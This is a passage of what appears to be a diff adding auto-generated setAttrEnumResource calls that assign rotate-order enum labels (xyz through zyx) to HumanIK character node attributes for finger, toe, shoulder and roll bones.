+setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", 